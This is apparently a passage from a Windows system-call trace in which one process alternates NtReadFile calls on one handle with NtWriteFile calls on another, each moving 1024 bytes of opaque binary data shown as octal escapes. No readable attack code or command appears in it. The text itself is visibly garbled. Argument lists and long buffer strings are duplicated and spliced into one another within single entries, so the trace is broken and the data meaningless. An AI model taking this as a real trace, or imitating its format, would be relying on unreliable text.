\241'\343\10bX\307\223\276n:&>8!\373P~\364\232\33\333\245g\307\26\356\79\2242?\277cG\\345b\237\202\0\241\300\37\206E\16\313*\356J\314\272Q\22*\355\34\365\342\15\364\15\207kv\322o\206Sz\255\345=@\217\260O;n\350\350_\211\333\342\315\220\13\323\343_\227\260\277\266\263\205Of}\272\245\317\341\313\34u\313\236\260\277\274\3728\31\360\225\356Bn\177\271\6\272\234\10\311\260%y\375\200\20\243\16\230{\256:t\273\373vT\14\343|\362\23\202&/\241Z\251?\21i (92, 0, 0, 0, "\306\223so\324>\327\353`\247\322\367\374\3378T\266MR\331pXa\6B\273\31\37\205\252w\205\365[B\241\373^\257\214)}/\37\3021q\366\300\346a\312G\373\324\22z}V\33'\1\314j2\5\22\347\301\341w\211\377>i\334\222\314\364\311\33b#0\217x\216\23g\320\364\323y\321d\254\2471\317{\251\3^\245I\351\262[\313\302\302\346"\241'\343\10bX\307\223\276n:&>8!\373P~\364\232\33\333\245g\307\26\356\79\2242?\277cG\\345b\237\202\0\241\300\37\206E\16\313*\356J\314\272Q\22*\355\34\365\342\15\364\15\207kv\322o\206Sz\255\345=@\217\260O;n\350\350_\211\333\342\315\220\13\323\343_\227\260\277\266\263\205Of}\272\245\317\341\313\34u\313\236\260\277\274\3728\31\360\225\356Bn\177\271\6\272\234\10\311\260%y\375\200\20\243\16\230{\256:t\273\373vT\14\343|\362\23\202&/\241Z\251?\21i"\251?9@\34-\311\331\30ir\237:{\233\345\e\302T\340}>BVAF\251\324=\205F\263\214r\250\14\363\36\234\313\242D\204\27\14 \35X\344\250\356\16\352\371\367\331<*HCTZ9\311\352x\331;\3429\225-\350\26l\12\314yS\240h\306\265\353I3\275>\374;\372x\261\235\366\25#Y\233n\327@f\251\305l\2751\305_\333\22SP\7\202\222\35n\357\360\243\214O\364\206p\320\236\12T\15\265i\30![\346v\201p=(\222\5\2332H\36\225\310\15\346qZ\237`J_`t\247\362};\310\274@U\325Q\313\332\364\210))7\212M3\223u"\316\377\241A@H\375h}%d\251\324\205\244\322(\245\313\366Q\203k\302\314$-\276\20\35\14c\304\217C\357\227G\312\320\220\363", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \316\377\241A@H\375h}%d\251\324\205\244\322(\245\313\366Q\203k\302\314$-\276\20\35\14c\304\217C\357\227G\312\320\220\363", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01154  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "W3\\34B\4\33G\316\6\337\335\223$$\317\354(*\247dL\251\306\2571L\271\370\334\312C5\263\251\304m\324jN8\222$\234.\304\360'g""\25\361%\33$\3006\273\37124\323\2728\2564\214b0\356p\311:-\271\12\0(+))\177\10)\245/1g\1f%4\232#9\215z\11\1"\15k x4'<}`)_=,$>1\275&2\260\220V3\301\351CS\2649?\333\33\35\267\366\36!\241&"\270%'\360)(\200G(,\2n4[}Y4&\8R=\267o\30}\26U\37N\365b\35\272\11c'\276$&$\300\261*\267|\375\243i\2a6\257\25\2521\256\375\204\214?\2530U\2\34Z\33T\202m#hu\315\27-c+*`n`//4\262\216\237C\0\262\275:\37\260==\273\333h1]\257\247\261"\256\260\1*\247&x\242~D\265\274\17\317$\302\263\2630\267\262\224\273;\3208\266R\33\215\20,?\172\21\302\2741\235S\202\215\251\267y|\245\5\377p\33gPa-\\35H\337\23\203T\246j\3634E~7\250\301\5\233*vr\27\24A\26\257\314Z/\7\200\15j\377\10\341\264d9\212\275om{\267<\274\225L\357\35-B\276\30\202\206\273\341\17)\223\214:\317+}\3366?7\343\333'C;9\353>>#0\30\273%\260!\322+\262\23P%\10S(\17^'\163_#00*\2620\343\204^G\261r\262\215\254bn\7\276\35\356\266\202!\216\251\204%\303p)h\355*$", ) 21\33-)\03\20 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "W3\\34B\4\33G\316\6\337\335\223$$\317\354(*\247dL\251\306\2571L\271\370\334\312C5\263\251\304m\324jN8\222$\234.\304\360'g""\25\361%\33$\3006\273\37124\323\2728\2564\214b0\356p\311:-\271\12\0(+))\177\10)\245/1g\1f%4\232#9\215z\11\1"\15k x4'<}`)_=,$>1\275&2\260\220V3\301\351CS\2649?\333\33\35\267\366\36!\241&"\270%'\360)(\200G(,\2n4[}Y4&\8R=\267o\30}\26U\37N\365b\35\272\11c'\276$&$\300\261*\267|\375\243i\2a6\257\25\2521\256\375\204\214?\2530U\2\34Z\33T\202m#hu\315\27-c+*`n`//4\262\216\237C\0\262\275:\37\260==\273\333h1]\257\247\261"\256\260\1*\247&x\242~D\265\274\17\317$\302\263\2630\267\262\224\273;\3208\266R\33\215\20,?\172\21\302\2741\235S\202\215\251\267y|\245\5\377p\33gPa-\\35H\337\23\203T\246j\3634E~7\250\301\5\233*vr\27\24A\26\257\314Z/\7\200\15j\377\10\341\264d9\212\275om{\267<\274\225L\357\35-B\276\30\202\206\273\341\17)\223\214:\317+}\3366?7\343\333'C;9\353>>#0\30\273%\260!\322+\262\23P%\10S(\17^'\163_#00*\2620\343\204^G\261r\262\215\254bn\7\276\35\356\266\202!\216\251\204%\303p)h\355*$", ) \15k x4'<}`)_=,$>1\275&2\260\220V3\301\351CS\2649?\333\33\35\267\366\36!\241& (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "W3\\34B\4\33G\316\6\337\335\223$$\317\354(*\247dL\251\306\2571L\271\370\334\312C5\263\251\304m\324jN8\222$\234.\304\360'g""\25\361%\33$\3006\273\37124\323\2728\2564\214b0\356p\311:-\271\12\0(+))\177\10)\245/1g\1f%4\232#9\215z\11\1"\15k x4'<}`)_=,$>1\275&2\260\220V3\301\351CS\2649?\333\33\35\267\366\36!\241&"\270%'\360)(\200G(,\2n4[}Y4&\8R=\267o\30}\26U\37N\365b\35\272\11c'\276$&$\300\261*\267|\375\243i\2a6\257\25\2521\256\375\204\214?\2530U\2\34Z\33T\202m#hu\315\27-c+*`n`//4\262\216\237C\0\262\275:\37\260==\273\333h1]\257\247\261"\256\260\1*\247&x\242~D\265\274\17\317$\302\263\2630\267\262\224\273;\3208\266R\33\215\20,?\172\21\302\2741\235S\202\215\251\267y|\245\5\377p\33gPa-\\35H\337\23\203T\246j\3634E~7\250\301\5\233*vr\27\24A\26\257\314Z/\7\200\15j\377\10\341\264d9\212\275om{\267<\274\225L\357\35-B\276\30\202\206\273\341\17)\223\214:\317+}\3366?7\343\333'C;9\353>>#0\30\273%\260!\322+\262\23P%\10S(\17^'\163_#00*\2620\343\204^G\261r\262\215\254bn\7\276\35\356\266\202!\216\251\204%\303p)h\355*$", ) \256\260\1*\247&x\242~D\265\274\17\317$\302\263\2630\267\262\224\273;\3208\266R\33\215\20,?\172\21\302\2741\235S\202\215\251\267y|\245\5\377p\33gPa-\\35H\337\23\203T\246j\3634E~7\250\301\5\233*vr\27\24A\26\257\314Z/\7\200\15j\377\10\341\264d9\212\275om{\267<\274\225L\357\35-B\276\30\202\206\273\341\17)\223\214:\317+}\3366?7\343\333'C;9\353>>#0\30\273%\260!\322+\262\23P%\10S(\17^'\163_#00*\2620\343\204^G\261r\262\215\254bn\7\276\35\356\266\202!\216\251\204%\303p)h\355*$", ) == 0x0
 01155  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "Sz\340\323\0\275\276\200\3779'[\374\0\201\360n\4H\222M\220}N\203\334\256rJ\302ps\314g5\336H\14\224\276\263\3C\221\24\4b\347\377\14\235,\242\372\203\7\273\227S}\5\372\315\222\3071\361\233.2\13H\233\224%\15r\360\\312\247\322\7\207\330L\232\2167\347\200\2\26\325\215\306\24\34\205\2031\203\223\323%\1\204\256\36\306\25\251\344\231\215\364\27\215\27\256\231\357\264xd\215q\320\315\\13*9\270c\246p\13\221\201\1V\207\24\17h\364\353w\227/+\267>\206\246m\334\201\271Yx?\372\312\257\306a)\11\1\311\232\267!\264`^\217\214\15\310#\320{6\226\234\302n\10e1\352\245`Pz@\237\254\214)f\334\351\274>\347\374B\26\2548E\373\212T\326.\0\364#~\303q\333\310\222\225\6\365\340\237\312\330\250R'U\212\3\340\201\2\342\356B\304\212\336\275\201\267\275?\35\254\352\27`\361\337\336%e\321\2058\232\26@\17\265\246%\346\225p\265\256\343\302,m\26\17\4\302\204i\366\326\236\337@\3038q\15\204\213\271V\351r\316\207\204\32!\25\305\374\317\302\225(\352\20\242\36\36$\21\245", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \346\225p\265\256\343\302,m\26\17\4\302\204i\366\326\236\337@\3038q\15\204\213\271V\351r\316\207\204\32!\25\305\374\317\302\225(\352\20\242\36\36$\21\245", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01156  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "`6\108\22\2119S\272\273o\12\315\214c\31\177\36*\340|V\215\367k\227\276x*\300NDX\375rc\3qs9\263f8.\10U\336\367\326\355\371\35\246\27\374!\06\313\346\307'U\314(\12\303\236h\314.\31\3253,\334\227\3047\330\2332\310<#\326\255\351\34\212\352\378<\312\241\324%\267'4\244\244ybm/\307B\30336\3004-\23\320[\310;\232\275??\31Iu\302Zd\27\204\334\344\33n\13y{n\35w\354K\247l\25\36s\3\270\275\245:\228\357\2747n\262Ub\365\370\4\2403\343\12\33\2454"\\255\16\253-m-E1a\271\375\7\356\232\337\276y#k\374>\12\327\37\337EV\276\263 ,\313\266k\15;+\106\11+\345-?\330\37\3660(\335\200\360\210\31\3638i\375=\215\22\345\215\26\27\35\241Mc P(O8\13~\350(1\306\267\3033*\333\332\356\31769\331x\177\30\354c/K@\365\17\3373\221\16\303&ef\13y\30j*\10\305\343O2\2612\23\362dv6:\321\13\2330\264.6\221\34\25\232\326/\245\207#'%u\255?\23\340^%m/o1=\12#@\302X?;9\2703\255\375\355\271\360\227\23\35\277d\202\243\314.-\367\243o.\13\26-p#3\3631\354\275s63\265}\36\37l\2640?\222r\25\227A,\311\253#'%$\244\3541uu\254pu\254\364q\361\243\234{76\302\330::\366\227?>Q\35\34\360\377\341]#"\16\243'&J(+\25,,\33\37ep0/54<69\305\273\207\320\250?>\307\35\34\326\36!9\377\342\231pg%\212(+\277-,\242.1\263\2739\267\361>\364\2002\222;?c?\37\213\34\35\322\3 ", ) \\255\16\253-m-E1a\271\375\7\356\232\337\276y#k\374>\12\327\37\337EV\276\263 ,\313\266k\15;+\106\11+\345-?\330\37\3660(\335\200\360\210\31\3638i\375=\215\22\345\215\26\27\35\241Mc P(O8\13~\350(1\306\267\3033*\333\332\356\31769\331x\177\30\354c/K@\365\17\3373\221\16\303&ef\13y\30j*\10\305\343O2\2612\23\362dv6:\321\13\2330\264.6\221\34\25\232\326/\245\207#'%u\255?\23\340^%m/o1=\12#@\302X?;9\2703\255\375\355\271\360\227\23\35\277d\202\243\314.-\367\243o.\13\26-p#3\3631\354\275s63\265}\36\37l\2640?\222r\25\227A,\311\253#'%$\244\3541uu\254pu\254\364q\361\243\234{76\302\330::\366\227?>Q\35\34\360\377\341]# (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "`6\108\22\2119S\272\273o\12\315\214c\31\177\36*\340|V\215\367k\227\276x*\300NDX\375rc\3qs9\263f8.\10U\336\367\326\355\371\35\246\27\374!\06\313\346\307'U\314(\12\303\236h\314.\31\3253,\334\227\3047\330\2332\310<#\326\255\351\34\212\352\378<\312\241\324%\267'4\244\244ybm/\307B\30336\3004-\23\320[\310;\232\275??\31Iu\302Zd\27\204\334\344\33n\13y{n\35w\354K\247l\25\36s\3\270\275\245:\228\357\2747n\262Ub\365\370\4\2403\343\12\33\2454"\\255\16\253-m-E1a\271\375\7\356\232\337\276y#k\374>\12\327\37\337EV\276\263 ,\313\266k\15;+\106\11+\345-?\330\37\3660(\335\200\360\210\31\3638i\375=\215\22\345\215\26\27\35\241Mc P(O8\13~\350(1\306\267\3033*\333\332\356\31769\331x\177\30\354c/K@\365\17\3373\221\16\303&ef\13y\30j*\10\305\343O2\2612\23\362dv6:\321\13\2330\264.6\221\34\25\232\326/\245\207#'%u\255?\23\340^%m/o1=\12#@\302X?;9\2703\255\375\355\271\360\227\23\35\277d\202\243\314.-\367\243o.\13\26-p#3\3631\354\275s63\265}\36\37l\2640?\222r\25\227A,\311\253#'%$\244\3541uu\254pu\254\364q\361\243\234{76\302\330::\366\227?>Q\35\34\360\377\341]#"\16\243'&J(+\25,,\33\37ep0/54<69\305\273\207\320\250?>\307\35\34\326\36!9\377\342\231pg%\212(+\277-,\242.1\263\2739\267\361>\364\2002\222;?c?\37\213\34\35\322\3 ", ) , ) == 0x0
 01157  1356   NtWriteFile  (92, 0, 0, 0, " (92, 0, 0, 0, ""p-8(\321\202\232`\345\363I\\353\310\344\275\251?\223\206x\225 \252\36G\21B\357w\236\2405\177%\264.:\357\30x\24\215:\233\211\271*Q\317`\262\347\305X\22\3\317~u\253wvV\215\347>\253\274k\17\303\346{\213\3465\326a:u\323c\215\13\21\0\2524\276\202\262\204\334\351w\333(\106\323\227\326\320\340\264\313\32\373m7`y\322\230\10}/\311Q\275\312\314\246\357\375\254+\31\264\322L\363\10\216A\225n`\10\216\367\354\213\32\267\374\323\2\252\313L\313\356\376\250\243\243\3f\215\240\376tY\354\23\340\6\311~\267\17&\274\321\344\210G\246\2416\231|\257\275P\5\213A\366\273\332+S\334\202\23oQ%r\30\320\214~\25\30\344\357\233\334\46\325\264\15lt\241.z\370\266\205'\370\235\202;t#\222\32\321)\335Ue|\244Q\314\221\266V\10W\30\273\312\370\375C\312\301\231Y-O\237&\21\36w\347\342\32\324\257\4h\302;\323\260X\233[8\311\22[\7M\345XL\3527D\266O<\20\15\341\362B{e\216b:\207\15\324]\237c>\323mBK\235\226\247\237\303J2\360\350|\336\24\264\225\366\312\265u\315\347\302YD\346>\314iIL\335\17|W\0\247\265\0\350<\12\227\270kx_\347\324\315\17,H\343))<\302\275\32C\35N\202^X\13\253\227.\273a\260H\375\267b3\351\357\263\33\273+\333\342\36%RJ\276\224\327D\233#`\362}/U\223\245\321\10\243X\231\333\344R\372\371\355x\221L_\165\27 \223\341|\253\324X>d\210V_\22\377\260M\362\262\255\214\251\373\215&\265\22T\367\324-\312\22V\277\267\271E\v\265\357\\327\256\320\334\362)\316\232\271\311G\255B\245\331-\233\246\270\353\213\333\242", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01158  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\243\225))x\247)3[1ldd\271\231\22\21\34\30F;\24\202\32\36~\237\324\26\340\23\341\323\343\314\340\374\367/\347\302\245\215\315u\3571\240\227;\275;\226\17$\211;\371\4N\17 =h9\26?\253\360u\250\3325\33\24\350\250\31\26z\246\344\307Y\372S8;\36\12(3*3\212}ml\327,\3=\35\367I!A$\204\247GW\30>\12\233\1_..c3w\254D\3451\2008JH\6\336Z8^\23\234\352\277?2\260!\3652U\35\375)^DC\227\16\37(H\247;\344tf\2561\372;\33_RKS\177]\216\32P&\261\341f\253\207\266<\251\15\252\14D\254\11\252\240qae4\276B\23`n\261\302\261=`A\226S/\366H\347@\242S\257\356\316M\3503*\270\251\245\221/3\361\207\276r \264\201\10Mj\323\27=6\177\37?\275\37}F\244\342W\16\256h{\233\331A\332_\305\357\1771\205\212E5\263%T%[\354\312\247\244!\271/)5\302\313\217(\237-e]\332\231\256\12)[\247!5;3=1;\230\330\31-\337\177\250\2\250y>g\203~i`\1\247-.8lE\26\2635u\11w#qz \1=<>\33\36h:\241+\332\344\34gN\230\3475\234E.0l4\25713,\2635e\336\236\337\305\305\16\275\302+\357\32B\205\321\367\362A%jA\331\20nM\31\323\32\322\322Ns\221(*a\35\321j\354\12\226b\333\?\325,0\275|\337\223p\5'\221\204'\255\253,\15B\213(rpr\3\3612hP\274;7<\270\376:\324r-\276\324V\237\36\0@`\203%\256\350f\10\326\263+,\305\20/S1S;jQV\11(Z", ) \354\312\247\244!\271/)5\302\313\217(\237-e]\332\231\256\12)[\247!5;3=1;\230\330\31-\337\177\250\2\250y>g\203~i`\1\247-.8lE\26\2635u\11w#qz \1=<>\33\36h:\241+\332\344\34gN\230\3475\234E.0l4\25713,\2635e\336\236\337\305\305\16\275\302+\357\32B\205\321\367\362A%jA\331\20nM\31\323\32\322\322Ns\221(*a\35\321j\354\12\226b\333\?\325,0\275|\337\223p\5'\221\204'\255\253,\15B\213(rpr\3\3612hP\274;7<\270\376:\324r-\276\324V\237\36\0@`\203%\256\350f\10\326\263+,\305\20/S1S;jQV\11(Z", ) == 0x0
 01159  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\247\222G\261o\32\375W\325\367T\215\333Vae\375\205\32-\371\310\267\2\224]\366*g(N\230\1\351\0\232\305\5\317\310 $\222\2732\313]MX\304\3117Gk\10 \21Q%q\227\37\305.(g\12C\11\335/8\206\215}L\3\244\26%8\343\320\240t\2110\274H\377EP\206\217\212\236\25635\355\307P\241\263\34D\211M\2Q\301\233\242'x\270o>\250\234\360\302\333o\202\327\247R\35=\217\\251\321\330\314\355\255\337\217_\207\316h\22\320\371K\6\3437\2\32B\252\12'\326\265\225\342\3371\303\257\232\250W\367}\7z\307\310\207\264\33\311\20T'\250\213\337\273\371\10=\202R\361\342\324\22\305\215\223\370[Q\202\271\365SE\34gm\365l\326\316H\6\2210\315$\306\367\2\311Kf\264\240\326k9\272';\327\344\366I\7x\224\222\34\3\324:}G\346\255\364\3\200\277\325f\366u9~\204\320\276\313\242\260\210R\3159\304bY\363\3668\243'\362\377\210%\302f\370)\15\2536\326\357\13\3778B\256\11\352\257\340\33<\22\307&\367.\375\373\350\367\30\356\311\210xC\35\352\210|\274\0w\3559\200\16\267\33\316\300\224:^.@\255\366"\253t\227\244;A\324W\22X\10\301\324X?\247:\230\213"e\226\237\322K\0\273\234\37\37\230\323*M\265\356\31&a\271\306\225\254\276]\346CP\214\220\336\264\317\323\214x\276g\226&\320\246\261W~\271\364\374-\322\233\376\231\215\202U4\273+\315t\241\2044>\361\207\301e\227\264\252z\325K\312\225\270\202\302<\232n\375\214\224\215\210\300\332\326]\371\177\366W\7"\247\205_\347\265c\312\320B\275\372\267\1\271\244I\330\244\350\2564\26\336`d\322]7|\277\331<\118\2a*E\246I\240\311\276", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \253t\227\244;A\324W\22X\10\301\324X?\247:\230\213 (92, 0, 0, 0, "\247\222G\261o\32\375W\325\367T\215\333Vae\375\205\32-\371\310\267\2\224]\366*g(N\230\1\351\0\232\305\5\317\310 $\222\2732\313]MX\304\3117Gk\10 \21Q%q\227\37\305.(g\12C\11\335/8\206\215}L\3\244\26%8\343\320\240t\2110\274H\377EP\206\217\212\236\25635\355\307P\241\263\34D\211M\2Q\301\233\242'x\270o>\250\234\360\302\333o\202\327\247R\35=\217\\251\321\330\314\355\255\337\217_\207\316h\22\320\371K\6\3437\2\32B\252\12'\326\265\225\342\3371\303\257\232\250W\367}\7z\307\310\207\264\33\311\20T'\250\213\337\273\371\10=\202R\361\342\324\22\305\215\223\370[Q\202\271\365SE\34gm\365l\326\316H\6\2210\315$\306\367\2\311Kf\264\240\326k9\272';\327\344\366I\7x\224\222\34\3\324:}G\346\255\364\3\200\277\325f\366u9~\204\320\276\313\242\260\210R\3159\304bY\363\3668\243'\362\377\210%\302f\370)\15\2536\326\357\13\3778B\256\11\352\257\340\33<\22\307&\367.\375\373\350\367\30\356\311\210xC\35\352\210|\274\0w\3559\200\16\267\33\316\300\224:^.@\255\366"\253t\227\244;A\324W\22X\10\301\324X?\247:\230\213"e\226\237\322K\0\273\234\37\37\230\323*M\265\356\31&a\271\306\225\254\276]\346CP\214\220\336\264\317\323\214x\276g\226&\320\246\261W~\271\364\374-\322\233\376\231\215\202U4\273+\315t\241\2044>\361\207\301e\227\264\252z\325K\312\225\270\202\302<\232n\375\214\224\215\210\300\332\326]\371\177\366W\7"\247\205_\347\265c\312\320B\275\372\267\1\271\244I\330\244\350\2564\26\336`d\322]7|\277\331<\118\2a*E\246I\240\311\276", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \247\205_\347\265c\312\320B\275\372\267\1\271\244I\330\244\350\2564\26\336`d\322]7|\277\331<\118\2a*E\246I\240\311\276", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01160  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\33"\220`\17J!#sdr\257a$\356l\252/\22q\332\366 \2415H\325\\226\365\21\363\375\304>= \323\22\235\261 "##?\300A\330\327\22\322X&&\216/\352\2212\270\334\3364c\263\326\372;\361\374>\347k#\36\336\302\253\357q\313\261\325|\7?>\24/?\33/<`\233 p\333\237\261\252\264N\322\374\347%\226\332\24\220B\236"1\243*\254\247/\241\340\257#b8\361\307\301c\360\205^\266=\220\2710\270&\365<5?5\335I\34\24\357"$\k*\375\206\330\32\333\30\253K\322\34)\360\303\0\257\216h\311\5\2275\305\11\324\16\236v\202\352/\203\260\337\23\330\21=z\331\25\237!*\32'\335%\244\301:\247\253\34\21{7~\6\267e\177m\265\364\33\221c\17\222N\7\3121%\266>3\323\203\2423a\2606\3501Y\132#\334`\367+xo\352\34\325J\26\222\10\340\344\2014U\2437\247\344\26#\301\334\210j9 &E\3179Z\322\225u>S\2319>\253lY\267\32\333h\361\26\3379a\253ptu\331q\250%\241m$K\257\3530(2ljn\311\327X\321\31;<>\265{?\20\220F\37\\242a\37!\244e\17\250)+;,/\257L\36002\303\313\312\2753\34\272\376;(m\17\377\330-\317z\37\337\236)\221/(\266\256t\2556\25385n\216\6\0\366\36,dd\3243\35614\262\255\321\301\344\343]H\257!At\334u6\2752\307<%+#-!/?1\330)\36)\327-m\3517\27\274=hh\233\227\314\21\5\250\203"\257\206%\216r\3124\266\11Y5\14- \2232/\311\2256\373'9%;#=!?\4\34\2\36\340?!=#;%9'7)5+3-", ) \220`\17J!#sdr\257a$\356l\252/\22q\332\366 \2415H\325\\226\365\21\363\375\304>= \323\22\235\261  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\33"\220`\17J!#sdr\257a$\356l\252/\22q\332\366 \2415H\325\\226\365\21\363\375\304>= \323\22\235\261 "##?\300A\330\327\22\322X&&\216/\352\2212\270\334\3364c\263\326\372;\361\374>\347k#\36\336\302\253\357q\313\261\325|\7?>\24/?\33/<`\233 p\333\237\261\252\264N\322\374\347%\226\332\24\220B\236"1\243*\254\247/\241\340\257#b8\361\307\301c\360\205^\266=\220\2710\270&\365<5?5\335I\34\24\357"$\k*\375\206\330\32\333\30\253K\322\34)\360\303\0\257\216h\311\5\2275\305\11\324\16\236v\202\352/\203\260\337\23\330\21=z\331\25\237!*\32'\335%\244\301:\247\253\34\21{7~\6\267e\177m\265\364\33\221c\17\222N\7\3121%\266>3\323\203\2423a\2606\3501Y\132#\334`\367+xo\352\34\325J\26\222\10\340\344\2014U\2437\247\344\26#\301\334\210j9 &E\3179Z\322\225u>S\2319>\253lY\267\32\333h\361\26\3379a\253ptu\331q\250%\241m$K\257\3530(2ljn\311\327X\321\31;<>\265{?\20\220F\37\\242a\37!\244e\17\250)+;,/\257L\36002\303\313\312\2753\34\272\376;(m\17\377\330-\317z\37\337\236)\221/(\266\256t\2556\25385n\216\6\0\366\36,dd\3243\35614\262\255\321\301\344\343]H\257!At\334u6\2752\307<%+#-!/?1\330)\36)\327-m\3517\27\274=hh\233\227\314\21\5\250\203"\257\206%\216r\3124\266\11Y5\14- \2232/\311\2256\373'9%;#=!?\4\34\2\36\340?!=#;%9'7)5+3-", ) 1\243*\254\247/\241\340\257#b8\361\307\301c\360\205^\266=\220\2710\270&\365<5?5\335I\34\24\357 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\33"\220`\17J!#sdr\257a$\356l\252/\22q\332\366 \2415H\325\\226\365\21\363\375\304>= \323\22\235\261 "##?\300A\330\327\22\322X&&\216/\352\2212\270\334\3364c\263\326\372;\361\374>\347k#\36\336\302\253\357q\313\261\325|\7?>\24/?\33/<`\233 p\333\237\261\252\264N\322\374\347%\226\332\24\220B\236"1\243*\254\247/\241\340\257#b8\361\307\301c\360\205^\266=\220\2710\270&\365<5?5\335I\34\24\357"$\k*\375\206\330\32\333\30\253K\322\34)\360\303\0\257\216h\311\5\2275\305\11\324\16\236v\202\352/\203\260\337\23\330\21=z\331\25\237!*\32'\335%\244\301:\247\253\34\21{7~\6\267e\177m\265\364\33\221c\17\222N\7\3121%\266>3\323\203\2423a\2606\3501Y\132#\334`\367+xo\352\34\325J\26\222\10\340\344\2014U\2437\247\344\26#\301\334\210j9 &E\3179Z\322\225u>S\2319>\253lY\267\32\333h\361\26\3379a\253ptu\331q\250%\241m$K\257\3530(2ljn\311\327X\321\31;<>\265{?\20\220F\37\\242a\37!\244e\17\250)+;,/\257L\36002\303\313\312\2753\34\272\376;(m\17\377\330-\317z\37\337\236)\221/(\266\256t\2556\25385n\216\6\0\366\36,dd\3243\35614\262\255\321\301\344\343]H\257!At\334u6\2752\307<%+#-!/?1\330)\36)\327-m\3517\27\274=hh\233\227\314\21\5\250\203"\257\206%\216r\3124\266\11Y5\14- \2232/\311\2256\373'9%;#=!?\4\34\2\36\340?!=#;%9'7)5+3-", ) \257\206%\216r\3124\266\11Y5\14- \2232/\311\2256\373'9%;#=!?\4\34\2\36\340?!=#;%9'7)5+3-", ) == 0x0
 01161  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\314\317#\310\25\224\367\3314\215}\335\363\247\247\257\351_0N\355of&\263\261\263h\x\205\212\261\4\263\361q>\366\223\13\17\340\344\220\350.\2040\254\247\362\35\337U\205*\217\21\225\264\231\214\1z:Q\304Y\32D\220\311\221\312\211\247\326\3278z\221\332\3\234\313\271\322\10n\235~\330\274\320\265\342aV\222\213q6\377nz3\15\321\275\215i )\211\215e$\242n\307\325\201 \267\245\202\276\344W\341\324\223~U\335Vh+\13>T\2247\212\253\231\336\23\21e\301\202\31\367\374G\337\371\244\21\15\343\321\313}\374L\356\267V\301\266\2342\374hS4\240\34\332\257\20\344\7\10*\\347\302\224\362\17\227G\13\376rHMI\312\34\216z\245\236\367\301`\343\364\354\243#\340\226v\2\325]\366\200RJ\251H\27yu\314\21*O\326xd+\1778\26\352\321D\14Lfh\325\271\11\303D\207\3154;6\300$r0\327[ \22A\227\25\215\257\17#X\265\216\246\300)\27\205K\224a\243\356\223\2`\350\3\327\367\245\230\243\267R`5\37o\2041\31:\324\26%\254\331M\376C\276\374-\276v\22\337,(\310i\305\357Z\253e\320^\216?HI\242)aB\332\\305c:X\1(5\246&\14oK\21\254\244\306\210C}\347\224T\226\216B\374Nr\301$\33\266P\321x9\336L(".K\327\316\25\201\276\341%\355O\23_Trex\245U\341\20>\337\376\345\276h\206\320\2159!&\262]e\214\11\\377))\331\333\337\347o\33\307JF\254\351\3718\232\226\334'*^\360\320\301.\227x\205\231\366dKY\242s\331\340\11\234\202\223\245_O\325\260c\30\364\316\371S\32%\252\266\215\3\271\333nB\300`327\316\25\201\276\341%\355O\23_Trex\245U\341\20>\337\376\345\276h\206\320\2159!&\262]e\214\11\\377))\331\333\337\347o\33\307JF\254\351\3718\232\226\334'*^\360\320\301.\227x\205\231\366dKY\242s\331\340\11\234\202\223\245_O\325\260c\30\364\316\371S\32%\252\266\215\3\271\333nB\300`210\312\206\267\257\124K\235%\177", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01162  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ">76"\353J:\260\304\302\355.\213\1\22\232\251\360\214\332\334+\341\243\212X\24\276\17\24=$~(\21X#e\36\340' :\3173\267\20b\377\30NKI\340\252\364R\11\24\325'M8z\212\233\205~`ZIQ2\263\313\342\273{\34\31\263;\240\31z>\33\36\365\312\27\226\335\335#\240M&&\36)n+-\240z\13\30[\3621f\276\370\337\2739f;\240_&?_ LL\37b#\256\344,\241\2s(C#+/\305,r\272\301\3424,7\276#\317\337n36-n7\34L\25\22i!o\256\20\3665=\25/\326\17\237N"\204\237b1\236a4\235d7\234k:\221\234o>\247I\34\211L\37\260s"\211\250w&\257z)\252y,Q\302g410`$\276\357\274\273;\177\373H4&o\363\270\34[\37Ytt\250,\221\2C(6}\240\322\256.\346\317\2\362\301\232\302\347\177i\321\244:3\266\356\273\22\225\33\215\36<\240.\10\335\256\347\254(\336\241\321d\355&Mw\251\322ycP>'\273\376h^,2\273_\232\314\34CD\177\221#}\304b\255\2442\213m\27\256^\242\13\4A2\313\6\365hn9\226\314<2>0\33\23\22\36\20 ."<\201\324\316K$.\25\2179\355Y\216%a\332\365\347\224\37\237,y\322\313\34\235\226+yB\275\22\222\256\\2027@[gjIW\202\12\255\205:\322\276\223&k\331TH\23001\372/!\371*0RS\11\220K!h\2233%ld\317\313.\2569\247M> `\3311\360o\31650\251w{\23v,S\3354\374l\25/\10\252o+D\25\255\341\7\326z\271(\257\1\34\360\371\35\215\233\374\31&\306\26\271\3274\373)\12\220J\30\334\0\255\301", ) 